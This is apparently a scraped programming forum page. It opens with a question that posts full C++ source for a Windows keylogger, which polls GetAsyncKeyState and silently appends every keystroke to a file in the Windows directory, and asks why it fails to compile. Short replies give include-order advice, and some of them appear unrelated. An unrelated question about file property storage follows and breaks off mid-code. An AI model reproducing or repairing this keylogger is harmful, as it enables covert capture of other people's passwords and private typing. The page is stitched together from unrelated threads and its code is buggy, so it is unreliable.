Error while trying to implement KeyLogger

I am trying to implement KeyLogger in our application. It give me following errors -

'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found.

I have already included the header files which are needed for these functions.

Can anyone tell what I am doing wrong.

I am using using following code -

#include "Windows.h"
#include "WinUser.h"
#include "stdafx.h"
#include <iostream>;
#include <fstream>;
#include <stdio.h>;

void keys(int key,char *file)
{
FILE *key_file;

key_file = fopen(file,"a+");

if (key==8)
fprintf(key_file,"%s","[del]");

if (key==13)
fprintf(key_file,"%s","\n");

if (key==32)
fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)
fprintf(key_file,"%s","[END]");

if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)
fprintf(key_file,"%s",".");

if (key >=96 && key <= 105)
{
key = key - 48;
fprintf(key_file,"%s",&key);
}

if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);

if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}

fclose(key_file);
}

int _tmain(int argc, _TCHAR* argv[])
{
char i;
char test[1000];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
while(1)
{
for(i=8;i<=190;i++)
{
if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
}
}
}

return 0;
}

Those look like compiler generated messages, not linker ones.

Try changing the order of include files as follows and check if it works

#include "stdafx.h"
#include "Windows.h"
#include "WinUser.h"

Check for your app to be topmost or systemmodal so your app gets the enter key.

Or is a bug in the app. Does it run on its own properly?

Press F1 for help or google it.

Can you check if dialog box shown from the custom action is the foreground window.

I am using Visual C++ V6 and am trying to change the comments property of a file.
I am using the code below but get an error message 0X80030002 - which by using 'Error Lookup' is %1 could not be found.
Can someone explain what I am doing wrong?

I am trying to change the properties of a .txt file

CString text_filename;

text_filename = "c:\\text.txt";

const WCHAR *c = (const WCHAR *)(LPCTSTR)text_filename;

IPropertySetStorage *pPropSetStg = NULL;
IPropertyStorage *pPropStg = NULL;
PROPSPEC propspec;
PROPVARIANT propWrite;
PROPVARIANT propRead;
HRESULT hr = S_OK;

hr = StgOpenStorageEx( c,
